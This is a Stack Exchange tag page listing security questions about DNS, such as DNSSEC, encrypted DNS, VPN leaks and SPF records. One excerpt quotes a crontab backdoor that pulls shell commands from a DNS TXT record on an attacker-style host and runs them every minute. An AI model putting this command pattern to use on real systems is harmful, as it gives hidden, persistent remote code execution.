Skip to main content
Share Your Experience: Take the 2024 Developer Survey

Questions tagged [dns]

The Domain Name System (DNS) translates Internet domain and host names to IP addresses.

Filter by
Sorted by
Tagged with
2 votes
2 answers
144 views

Avoid leaking IP address of my home DNS server

I'm using AdguardHome as a DNS server to filter a lot of stuff. As an upstream DNS, I use a bind server which acts as a local root server (as described at https://localroot.isi.edu). This server is in ...
user24849443's user avatar
2 votes
0 answers
95 views

Does DNSSEC prevent man-in-the-middle at all? [duplicate]

I just watched a video on DNS that explained that if there is a man-in-the-middle or if someone has taken over your resolver, DNSSEC can prevent the responses from being tampered with because the ...
Nasso's user avatar
  • 23
0 votes
1 answer
118 views

How can I test in my device checks DNS CAA correctly and rejects TLS certificates that are signed by an unauthorized CA?

I would like to know how I can test if my devices, or browsers1 checks and applies DNS Certification Authority Authorization (CAA) correctly. And if it does not, how I can enable it and enforce CAA to ...
Bob Ortiz's user avatar
  • 6,665
0 votes
0 answers
92 views

Understanding DNSSEC NSEC3 output for valid domain name

I am trying to understand NSEC3 record when querying for existing domain name, for NXDOMAIN I understand how it works. RFC has example about WildCard, NODATA & NXDOMAIN So I fired these queries ...
Chits's user avatar
  • 105
0 votes
0 answers
27 views

When using a VPN is the device DNS cache still written to? [duplicate]

When I am using ProtonVPN, does the VPN server run DNS resolution upon receiving the request, similar to a Tor exit node, thereby bypassing the device's DNS cache? Or do my browser's DNS queries still ...
yellow-saint's user avatar
0 votes
2 answers
138 views

Why spamassasin is doing dns lookup?

I have a server which have configured Amavis and Spamassasin (in default state only). I recently noticed log lines that probably indicate DNS query failure, below is an excerpt: Nov 21 11:15:40 ...
SUNITA GUPTA's user avatar
7 votes
2 answers
2k views

What happens if a DNS record points to non-controlled IP address?

If a domain, for example foo.com is pointed to a IP address (A record) outside of my control, for example the Twitter IP address. And the domain is visited using a browser: What will be displayed in ...
Ghost Rider's user avatar
3 votes
1 answer
407 views

Is Android private DNS using domain name a security risk?

Android has the option for using private DNS, but it requires a hostname, not an IP of the DNS server. Isn't entering the domain name of a DNS server a chance for MITM attacks and DNS poisoning? How ...
masterchief164's user avatar
0 votes
2 answers
204 views

Why does turning on encrypted DNS unblock some geo locked websites?

When I turn on Warp provided by Cloudflare or use 1.1.1.1, it unlocks some of the websites which are geo locked. How does it unblock the websites which are blocked by ISP?
jinchuriki's user avatar
1 vote
1 answer
126 views

Is it reasonable to have a product that requires LLMNR or mDNS?

I am trying to figure out the best way to manage security certificates for embedded devices who's webpage is accessed via IP address, and then the scenario for when that IP address changes. Currently, ...
StrangerDanger's user avatar
0 votes
1 answer
121 views

How can an email forwarding service send email with a "From" from a domain they don't control, and still pass SPF?

Let's say: [email protected] sends an email to [email protected]. Bob owns the domain bob.com but doesn't manage an emailing server. Instead he uses an email forwarding service (provided by his registrar /...
Basj's user avatar
  • 953
0 votes
0 answers
127 views

What is the easiest and most effective way to filter IP-only accesses?

On MacOS and Windows 11, I’ve repeatedly seen direct IP accesses to *.deploy.static.akamaitechnologies.com domains (discovered via PTR DNS lookups). DNS filters like NextDNS presumably don’t see this ...
Patrick Dark's user avatar
1 vote
1 answer
287 views

Can DNS providers know my IP address?

I know how domain name system (DNS) works a bit. But don't know if providers of public DNS like Google or Cloudflare can know my IP address.
user avatar
1 vote
1 answer
234 views

Can my ISP see request data being posted to a website when a DNS leak occurs

From what I understand, the ISP can see the host you're trying to connect to in the event of a DNS leak. But does that mean they can see the data being sent like the requests body? or even headers? Or ...
NotAidan's user avatar
0 votes
1 answer
240 views

can a VPN provider do DNS poisoning?

I was wondering if we push our DNS over the VPN and basically let them do DNS resolution, is it possible to perform DNS poisoning and man in the middle attack on us? I know browsers check certificates ...
Naadiyaar's user avatar
34 votes
4 answers
9k views

Domain about to expire. Afraid that new owners will spread malware

I have a domain that is about to expire. It was used for hosting my freeware which I do not maintain anymore but can still be found on shareware directories. The application points to my domain (...
microwth's user avatar
  • 2,473
0 votes
1 answer
242 views

Since the DS recordset contains all of the child's Key Signing Key, wouldn't the DS recordset be massive and difficult to load for verification?

I'm learning about DNSSEC today but I don't quite understand about how a parent zone would store all of its child's Key Signing Keys (DNSKEY 257) in its DS record set. As far as I understand, if I ...
xenon's user avatar
  • 367
0 votes
1 answer
2k views

Port 53 on my home router opened, why?

I couldn't find anything online so I'm here to ask experts. I've nmapped my public ip and I noticed all ports are closed but the 53. In the router's options upnp is disabled and the NAT rules are ...
Luca O's user avatar
  • 1
4 votes
1 answer
427 views

How can I validate the root DNS key-signing-key on the command line?

Consider the following dig command and its truncated output: dig . dnskey +dnssec +multi @a.root-servers.net ... ... ;; ANSWER SECTION: . 172800 IN DNSKEY 257 3 8 ( ...
merlin2011's user avatar
1 vote
1 answer
582 views

How does DNS prefetching endanger security/privacy?

I would like a comprehensive explanation of the security and privacy risks that come with DNS prefetching. There are already other posts about this topic, but I want current information and feedback ...
Liz's user avatar
  • 113
0 votes
1 answer
522 views

Cloudflare not hide VPS IP (ngnix)

I have a problem with hiding the VPS IP using Cloudflare. My IP can be found on search.censys.io. I don't have any DNS leaks. I'm using nginx to reverse proxy a node.js server. Is it possible to hide ...
MomboteQ's user avatar
2 votes
1 answer
177 views

Is it possible for a hostname lookup to be temporarily lying (wrong ISP)?

In 2017, I was running a local website on my own dedicated server in a professional data center. FreeBSD. Installed by me remotely. Maintained carefully by me. No other human users than myself. I was ...
Cathan's user avatar
  • 21
0 votes
1 answer
241 views

Best Practices for Securing an authoritative DNS [closed]

I am trying to implement the best practices for securing the Linux bind DNS. I have never gone this in-depth with securing authoritative DNS before. What do you recommend?
Cell-o's user avatar
  • 103
1 vote
1 answer
150 views

Flooding attacks in DNSCrypt

In order to mitigate reflection-amplification attacks, DNSCrypt seems to enforce queries that have a larger response than the query to be retransmitted over TCP. This feature will mitigate ...
Ali Ss's user avatar
  • 13
1 vote
2 answers
4k views

Using Android private DNS with VPN

Android allows now to set "private DNS" in the settings (which also allows using DNS over TLS - sadly over HTTPS atm only works for specific DNS providers). What I am trying to establish is: ...
Guest's user avatar
  • 13
1 vote
2 answers
264 views

DNS hijacking/poisoning effect on URL/URI and password manager autotype/autofill

A benefit to password managers, at least some of them, is that they can look at the URL and only use autotype/autofill when on the correct site, which can help prevent pharming since if instead of ...
vertigo's user avatar
  • 13
0 votes
2 answers
120 views

Would a signed TLS certificate prevent an attacker from stealing a domain?

I'm trying to understand how the attack described in this article could work. Let's grant that this attacker, not associated with company.com, managed to take control of oldsub.company.com. Here's a ...
slevin's user avatar
  • 101
3 votes
1 answer
7k views

Secure DNS (DoH, DoT) differences, performance, comparison

I am reading up on secure DNS (DoH, DoT) and trying to identify its differences. Currently, I am on https://www.cloudflare.com/learning/dns/dns-over-tls/ page. Is there for example some non-...
Vlastimil Burián's user avatar
0 votes
0 answers
69 views

Need of Transaction SIGnature (TSIG) record

Can't we simply send the shared secret key along with AXFR query? A hacker can easily use sniffed TSIG record to authenticate himself. Then how it's called SECURED zone transfer?
Aryan's user avatar
  • 21
2 votes
2 answers
462 views

Bypass network security filters with CDN

I read about Domain Fronting technique, it bypasses network security filters but requires a relatively complex configuration (having evil.com pointing to a.cdn.net, and good.com pointing to b.cdn.net, ...
user32725's user avatar
0 votes
0 answers
301 views

How can I monitor which page in the web browser is making a DNS request?

I manage a Microsoft environment and I use FortiClient EMS for our endpoint security. That system is logging blocked requests to https://h.parrable.com. As best I can tell, this is not a malicious ...
Chris76786777's user avatar
0 votes
1 answer
1k views

Is using route 53 from AWS sufficient for DDOS protection on DNS level, or do you need to combine it with other AWS products

We have been targeted by DNS DDOS attacks. We have now migrated to AWS Route53 as these DNS servers are more resilient. Is using AWS Route 53 enough to have basic DDOS protection? Or is it necessary ...
MichaelD's user avatar
  • 101
0 votes
1 answer
115 views

Exploitation Risks and Considerations specific to running internal DNS servers

I have heard of larger companies are utilizing their own internal DNS servers to route through internal resources. And was wondering if there is any specific exploitation risks and considerations for ...
Rivesticles's user avatar
0 votes
0 answers
171 views

endpoint made connection to an IP adress the hostname is not resolving to

Our security product alerted on a possible malicious communication detected by analyzing DNS transactions. The DNS name in question is www.cyber-sale.net. I could correlate this even to another event ...
newby88's user avatar
0 votes
2 answers
189 views

How to avoid compromise of data connecting by compromised router?

Imagine that there is a PC you have physical access to, and a router you have no physical access to. Also no digital access to router. The router is for sure compromised and intercepting all packets ...
July's user avatar
  • 1
2 votes
1 answer
135 views

Does it matter what nameserver is queried for TXT records?

I found this backdoor in a crontab: * * * * * /bin/sh -c "sh -c $(dig imf0rce.htb TXT +short @ns.imf0rce.htb)" And if i understood correctly, it queries all the TXT records in the domain ...
idontknowwhatggww's user avatar
1 vote
0 answers
89 views

Opencart website getting request from random subdomains (DDoS)

We have an Opencart 3.0.3 website which is getting DDoSed, we then migrated it to AWS and noticed the same thing happening, we blocked access from all other countries except US & Canada. For admin ...
Sankalp Chari's user avatar
2 votes
3 answers
2k views

How can I overcome my ISP's DNS redirection when DoH is blocked?

This is a follow-up to my previous question. My ISP is apparently trying to redirect my DNS requests. When I visit some sites, my traffic is redirected to other IPs and not the intended site. I tried ...
PizzaIsLove's user avatar
4 votes
1 answer
318 views

Can your ISP pull off a man-in-the-middle attack over unencrypted DNS?

Today I was visiting a website, using HTTPS obviously, that firefox gave me a certificate error and said that the certificate did not match the website's information. After a bit of investigation, it ...
PizzaIsLove's user avatar
0 votes
0 answers
164 views

How to properly handle DNSKEY delegation across DNS zones?

I'm trying to implement a toy project DNSSEC supported DNS resolver to learn about both DNS and DNSSEC. Most of my implementation are finished. But for some domains it's not working correctly, and I ...
Rix's user avatar
  • 101
1 vote
2 answers
133 views

Are brand-new DNS registrations an easy way to detect phishing?

Today I received an SMS AusPost: Your package address is incorrect and delivery failed, please update address information via the link. https://auspost.requestupdate.com If I do a whois auspost....
Ross's user avatar
  • 223
2 votes
2 answers
628 views

Flattening an SPF record - drawbacks and downsides?

I have an SPF record that has too many DNS lookups. Consequence is some mail servers will silently drop emails; RFC7028 says that over 10 lookups: SPF implementations MUST limit the total number of ...
Criggie's user avatar
  • 522
1 vote
0 answers
226 views

Is iCloud Private Relay leaking my DNS queries to my ISP?

So I noticed recently that despite iOS settings saying all DNS queries go through iCloud Private Relay's DNS servers, despite Private Relay using Oblivious DNS over HTTPS, and even despite dnsleaktest....
heavy-hat-77572's user avatar
1 vote
1 answer
11k views

What is Akamai Ghost? [closed]

After making requests to certain domain and their responses being either 4xx or 5xx status codes, the server response header shows Akamai Ghost. Is this response coming from Akamai's firewall or their ...
Just.a.tech's user avatar
2 votes
1 answer
120 views

How to identify a name server that does not have DNSSEC implemented?

I tried dig +dnssec dig [domain name] +dnssec +short. Is RRSIG the only attribute to confirm if a name server has DNSSEC implemented or not? How do I identify a name server that has no DNSSEC ...
Syskey Whiskey's user avatar
1 vote
1 answer
1k views

Is Anonymized DNSCrypt over Tor a better alternative to having Doh+ECH?

I use dnscrypt-proxy's anonymized DNScrypt with multiple relays, force it all to use TCP, route them over Tor. Does this prevent my ISP or anyone in my country to see my DNS queries and client hellos ...
user avatar
0 votes
1 answer
255 views

Someone issued fake CAA records for my domain. What is the most important thing to do to resolve it?

First, I can update this with the affected domain, if it's critical, but for obvious reasons I'd like not to be the target of more problems. Someone registered some CAA records for my domain. I have ...
New Alexandria's user avatar
1 vote
1 answer
263 views

DNS reverse lookup not finding domain name during enumeration

While enumerating a DNS server for a HTB machine, I've tried finding a domain name for 127.0.0.1: ┌──(kali㉿kali)-[~] └─$ dig -x 127.0.0.1 @10.10.11.166 ; <<>> DiG 9.18.1-1-Debian <<...
cppstudy's user avatar
  • 113
0 votes
2 answers
3k views

What's the use of encrypted DNS when ISP can see the IP address of the website?

I use an encrypted DNS server that supports DNSSEC and DoH, these features are useful for hiding from the ISP, VPN server provider etc. which website you are trying to look up, but eventually those ...
user avatar
1 vote
1 answer
1k views

How to check to see whether DNS over TLS is blocked in my network by ISP?

I'm looking for a method to check whether DNS over TLS is blocked in my network by my ISP or not. A method that isn't just trial and error of a bunch of popular DoT providers to see which one connects ...
user avatar

1
2 3 4 5
16